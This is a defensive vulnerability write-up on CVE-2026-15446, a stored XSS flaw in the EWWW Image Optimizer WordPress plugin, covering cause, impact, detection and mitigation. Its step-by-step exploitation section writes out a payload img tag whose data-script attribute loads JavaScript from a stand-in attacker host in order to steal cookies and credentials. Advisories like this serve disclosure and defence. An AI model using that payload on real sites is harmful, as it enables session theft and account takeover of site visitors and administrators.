CVE-2026-15446: 
WordPress vulnerability analysis and mitigation

CVE-2026-15446 is a Stored Cross-Site Scripting (XSS) vulnerability in the EWWW Image Optimizer plugin for WordPress, affecting all versions up to and including 8.7.3. The flaw exists in the plugin's lazy load functionality, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or above to inject arbitrary JavaScript into post content. It was published on August 19, 2026, with a patch committed the same day. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in the plugin's bundled lazysizes ls.unveilhooks addon. An attacker embeds a crafted <img> element with class='lazyload' and a data-script attribute pointing to an attacker-controlled URL in WordPress post content. When a visitor views the page, the ls.unveilhooks addon reads the data-script value without domain validation and dynamically creates and inserts a <script> element into the DOM, loading and executing the attacker's external script. The vulnerable code paths are in includes/ls.unveilhooks.js (lines 116 and 178) and classes/class-lazy-load.php (lines 496 and 1679). The fix introduces a safeDomains allowlist checked before any script element is created (GitHub Commit, GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of any user who views an injected page, including administrators. This can lead to session token theft, account takeover, unauthorized actions performed on behalf of legitimate users (including privileged ones), content modification, and redirection to malicious sites. While availability is not directly impacted, a compromised administrator session could result in full site takeover (GitHub Advisory, Wordfence).

As of the disclosure date (August 19, 2026), there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is 0.0, and the vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, GitHub Advisory).

1. Gain contributor access: Obtain or register a WordPress account with at least contributor-level privileges on the target site running EWWW Image Optimizer ≤ 8.7.3.
2. Create or edit a post: Navigate to the WordPress post editor and create a new post or edit an existing one where the attacker has authoring rights.
3. Inject malicious img element: Switch to the HTML/code editor and insert a crafted image tag such as <img class="lazyload" data-script="https://attacker.example.com/malicious.js" src="placeholder.jpg" />, where the data-script attribute points to an attacker-controlled JavaScript file.
4. Publish the post: Submit or update the post so the injected content is stored in the WordPress database.
5. Trigger execution: When any site visitor (including administrators) loads the page, the EWWW plugin's ls.unveilhooks addon reads the data-script attribute and dynamically creates a <script> element pointing to the attacker's URL, executing the malicious JavaScript in the victim's browser.
6. Achieve objective: The loaded script can steal session cookies, capture credentials, perform actions as the victim user, or redirect the browser to a phishing page (GitHub Advisory, GitHub Commit).

• File System / Database: WordPress post content containing <img> elements with class="lazyload" and a data-script attribute pointing to an external or unexpected domain; review wp_posts table for such patterns.
• Network: Outbound HTTP/HTTPS requests from visitor browsers to unknown or attacker-controlled domains triggered by page loads on the affected WordPress site; browser developer tools or proxy logs showing script loads from unexpected origins.
• Logs: Web server access logs showing requests to pages containing injected posts, followed by external script fetches from client IPs; WordPress audit logs (if enabled) showing post edits by contributor-level accounts inserting raw HTML with data-script attributes.
• Browser: Unexpected JavaScript execution, session cookie exfiltration attempts, or redirects occurring when viewing specific WordPress posts (GitHub Advisory).

The fix is implemented in commit 4488aaf, which introduces a safeDomains allowlist in the ls.unveilhooks.js addon that validates the data-script URL against permitted domains before creating any script element; the patched version is expected to be released as 8.7.4 (GitHub Commit). Site administrators should update the EWWW Image Optimizer plugin to version 8.7.4 or later as soon as it is available. As interim mitigations: restrict contributor-level access to only fully trusted users; disable the lazy load feature in the plugin settings if not essential; implement a Content Security Policy (CSP) header with a strict script-src directive to block unauthorized external script loads; and audit all existing posts authored by contributor-level accounts for <img> tags with data-script attributes (Wordfence).

The vulnerability was discovered and reported by Wordfence, which published the threat intelligence entry on August 19, 2026. No significant public researcher commentary, media coverage, or social media discussion beyond automated CVE tracking feeds has been identified at this time (Wordfence).